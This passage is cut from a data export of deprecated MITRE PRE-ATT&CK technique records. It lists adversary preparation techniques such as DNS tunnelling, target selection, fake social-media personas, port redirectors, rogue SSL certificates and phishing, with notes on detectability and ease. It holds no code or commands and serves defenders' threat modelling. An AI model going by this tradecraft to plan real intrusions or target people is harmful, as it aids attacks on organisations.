HAMMERTOSS2015) (Citation: DNS-Tunnel)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1320', external_id='T1320'), ExternalReference(source_name='BotnetsDNSC2', description='Christian J. Dietrich, Christian Rossow, Felix C. Freiling, Herbert Bos, Maarten van Steen, Norbert Pohlmann. (2011). On Botnets that use DNS for Command and Control. Retrieved March 6, 2017.'), ExternalReference(source_name='HAMMERTOSS2015', description='FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.'), ExternalReference(source_name='DNS-Tunnel', description='Alexey Shulmi and Sergey Yunakovsky. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved May 9, 2017.')]",attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Data Hiding,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",,No,This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.,,,,,PRE-T1097,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245). - -The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1245', external_id='T1245'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'), ExternalReference(source_name='WITCHCOVEN2015', description='Jonathan Wrolstad and Barry Vengerik. (2015, November). Pinpointing Targets: Exploiting Web Analytics to Ensnare Victims. Retrieved March 5, 2017.'), ExternalReference(source_name='JP3-60', description='Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'), ExternalReference(source_name='JP3-12R', description='Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'), ExternalReference(source_name='DoD Cyber 2015', description='Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.')]",attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='target-selection')]",2020-10-26 13:42:49.342000+00:00,Determine approach/attack vector,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",,Yes,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,,,,,PRE-T1022,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243). - -From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1243', external_id='T1243'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'), ExternalReference(source_name='JP3-60', description='Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'), ExternalReference(source_name='JP3-12R', description='Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'), ExternalReference(source_name='DoD Cyber 2015', description='Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.')]",attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='target-selection')]",2020-10-26 13:42:49.342000+00:00,Determine highest level tactical element,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",,Yes,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,,,,,PRE-T1020,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227). - -Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1227', external_id='T1227'), ExternalReference(source_name='Herring1999', description='Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.')]",attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Develop KITs/KIQs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1004,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394). - -An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1394', external_id='T1394'), ExternalReference(source_name='PA XcodeGhost', description='Claud Xiao. (2015, September 17). Novel Malware XcodeGhost Modifies Xcode, Infects Apple iOS Apps and Hits App Store. Retrieved April 12, 2017.'), ExternalReference(source_name='Reflections on Trusting Trust', description='Ken Thompson. (1984, August). Reflections on Trusting Trust. Retrieved April 12, 2017.')]",attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,Distribute malicious software development tools,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.",,No,"The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.",,,,,PRE-T1171,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333). - -Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1333', external_id='T1333'), ExternalReference(source_name='FireEyeSupplyChain', description='FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.')]",attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Dynamic DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not know at first use what is valid or hostile traffic without more context.,,Yes,It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.,,,,,PRE-T1110,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344). - -Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1344', external_id='T1344'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf')]",attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Friend/Follow/Connect to targets of interest,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",,Yes,"The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.",,,,,PRE-T1121,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1385', external_id='T1385'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'), ExternalReference(source_name='CSOInsideOutside', description='Taylor Armerding. (2012, October 25). Line blurs between insider, outsider attacks. Retrieved March 9, 2017.')]",attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-10-14 01:53:28.015000+00:00,Human performs requested action of physical nature,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Non-hypersensing environments do not typically collect this level of detailed information.,,Yes,"Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",,,False,,PRE-T1162,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225). - -Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1225', external_id='T1225'), ExternalReference(source_name='ODNIIntegration', description='Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.'), ExternalReference(source_name='ICD115', description='Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.')]",attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Identify gap areas,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1002,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269). - -The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1269', external_id='T1269'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.')]",attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify people of interest,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.",,Yes,"Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.",,,,,PRE-T1046,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276). - -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1276', external_id='T1276'), ExternalReference(source_name='SmithSupplyChain', description='Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'), ExternalReference(source_name='CERT-UKSupplyChain', description='CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.')]",attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify supply chains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,No,"Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",,,,,PRE-T1053,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256). - -An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1256', external_id='T1256'), ExternalReference(source_name='NMAP WAF NSE', description='Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.')]",attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify web defensive services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Active service detection may trigger an alert. Passive service enumeration is not detected.,,Yes,"Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)",,,,,PRE-T1033,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257). - -Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1257', external_id='T1257'), ExternalReference(source_name='FunAndSun2012', description='Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.')]",attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Mine technical blogs/forums,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Cannot detect access to public sites.,,Yes,Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.,,,,,PRE-T1034,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1309', external_id='T1309'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.')]",attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Obfuscate infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Difficult, but defender is well aware of technique and attempts to find discrepancies.",,Yes,"Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.) -Adversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.",,,,,PRE-T1086,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392). - -The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1392', external_id='T1392'), ExternalReference(source_name='Apple Developer Enterprise Porgram Apps', description='Apple Inc.. (2016). Distributing Apple Developer Enterprise Program Apps. Retrieved April 12, 2017.'), ExternalReference(source_name='Fruit vs Zombies', description='Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.'), ExternalReference(source_name='WIRELURKER', description='Claud Xiao. (2014). WIRELURKER: A New Era in iOS and OS X Malware. Retrieved April 12, 2017.'), ExternalReference(source_name='Sideloading Change', description='David Richardson. (2015, September 10). Change to sideloading apps in iOS 9 is a security win. Retrieved April 12, 2017.')]",attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Obtain Apple iOS enterprise distribution key pair and certificate,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.",,No,"Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.",,,,,PRE-T1169,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363). - -Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1363', external_id='T1363'), ExternalReference(source_name='SecureWorks HTRAN Analysis', description='JOE STEWART. (2011, August 3). HTran and the Advanced Persistent Threat. Retrieved March 28, 2017.')]",attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,Port redirector,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",,Yes,"Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",,,,,PRE-T1140,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1373', external_id='T1373'), ExternalReference(source_name='BlackHat Stagefright', description='Joshua Drake. (2015, August 5). Stagefright: Scary Code in the Heart of Android. Retrieved March 29, 2017.'), ExternalReference(source_name='WikiStagefright', description='Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.')]",attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:22:23.446000+00:00,Push-notification client-side exploit,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.",,Yes,Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.,,,False,,PRE-T1150,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291). - -Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1291', external_id='T1291'), ExternalReference(source_name='WeaponsVulnerable', description='Jack Smith IV. (2015, January 22). Pentagon Chief Weapons Tester: Almost All Military Programs Vulnerable to Cyber-Attacks. Retrieved March 5, 2017.'), ExternalReference(source_name='KasperskyCarbanak', description=""Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017."", url='https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/')]",attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Research relevant vulnerabilities/CVEs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public source external to the defender's organization.,,Yes,"Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.",,,,,PRE-T1068,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338). - -Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1338', external_id='T1338'), ExternalReference(source_name='SubvertSSL', description='Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.')]",attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,SSL certificate acquisition for trust breaking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].",,No,One example of it occurring in the real world is the DigiNotarDigiNotar2016 case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.,,,,,PRE-T1115,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.** - -Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1368', external_id='T1368'), ExternalReference(source_name='Paypal Phone Scam', description='Sophos Labs. (2006, July 7). PayPal phone phish 